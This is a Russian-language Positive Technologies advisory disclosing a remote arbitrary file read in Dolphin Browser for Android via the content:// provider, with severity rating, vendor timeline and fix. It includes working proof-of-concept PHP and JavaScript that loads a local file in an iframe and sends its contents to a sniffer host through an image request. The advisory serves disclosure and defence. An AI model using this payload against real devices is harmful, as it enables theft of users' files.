PT-2012-60: Чтение произвольных файлов в Dolphin Browser

(PT-2012-60) Positive Technologies Security Advisory
Чтение произвольных файлов в Dolphin Browser

Уязвимое ПО

Dolphin Browser
Версия: 9.0.3 и более ранняя

Ссылка: 
http://dolphin-browser.com/

Рейтинг опасности

Уровень опасности: средний 
Воздействие: чтение произвольных файлов
Вектор атаки: удаленный

CVSS v2: 
Base Score: 5.8 
Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:P) 

CVE: отсутствует

Описание программы

Dolphin Browser — мощный, быстрый и элегантный браузер для Android 2.0+.

Описание уязвимости

Специалисты Исследовательского центра компании Positive Technologies обнаружили уязвимость "Удаленное чтение произвольных файлов" в приложении Dolphin Browser.
Уязвимость возникает при неправильной обработке враппера content://, который позволяет злоумышленнику удаленно обратиться к доступному контент-провайдеру. Таким образом, перейдя по ссылке content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/1.txt, можно получить доступ к содержимому файла /sdcard/1.txt.
Реализация атаки довольно проста:
1. Жертва переходит по ссылке на сайт, где содержится следующий PHP-код:

<? echo "<body onload=\"setTimeout('window.location=\'1day.php\'',1000);setTimeout('window.location=\'content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/download/test.html\'',5000);\">"; ?>

2. Браузер автоматически подгружает страницу 1day.php, код которой представлен ниже:
<?
    
header('Content-Disposition: attachment; filename="test.html"');
?>
<iframe src="content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/1.txt"></iframe>
<script>
window.onload = function () { file = document.getElementsByTagName('iframe')[0].contentWindow.document.body.innerHTML;
img = new Image(); img.src = 'http://oursniffer/sniff.php?data='+file;
}
</script>

3. Далее пользователь нажимает кнопку "Сохранить" и эксплойт помещается по адресу /sdcard/download/test.html.
4. Злоумышленник перенаправляет пользователя по ссылке на этот файл (content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/download/test.html), и код выполняется.

7. Данные из файла /sdcard/1.txt записываются в журнал сниффера.

 

Решение

Установите последнюю версию приложения.

Статус уведомления

18.12.2012 - Производитель уведомлен
18.12.2012 - Производителю отправлены детали уязвимости
05.02.2013 - Производитель выпустил исправление
07.03.2013 - Публикация уязвимости

Благодарности

Уязвимость обнаружил Михаил Фирстов (Исследовательcкий центр Positive Research компании Positive Technologies)


Ссылки

http://www.securitylab.ru/lab/PT-2012-60

Список отчетов о ранее обнаруженных уязвимостях Positive Research:

http://www.ptsecurity.ru/lab/advisory/
http://www.securitylab.ru/lab/

О Positive Technologies

Positive Technologies www.ptsecurity.ru - одна из ведущих российских компаний в области информационной безопасности. 
Основные направления деятельности компании - разработка систем комплексного мониторинга информационной безопасности (XSpider, MaxPatrol); предоставление консалтинговых и сервисных услуг в области информационной безопасности; развитие специализированного портала Securitylab.ru.

Заказчиками Positive Technologies являются более 40 государственных учреждений, более 50 банков и финансовых структур, 20 телекоммуникационных компаний, более 40 промышленных предприятий, компании ИТ-индустрии, сервисные и ритейловые компании России, стран СНГ, Балтии, а также Великобритании, Германии, Голландии, Израиля, Ирана, Китая, Мексики, США, Таиланда, Турции, Эквадора, ЮАР, Японии.

Positive Technologies - это команда высококвалифицированных разработчиков, консультантов и экспертов, которые обладают большим практическим опытом, имеют профессиональные звания и сертификаты, являются членами международных организаций и активно участвуют в развитии отрасли.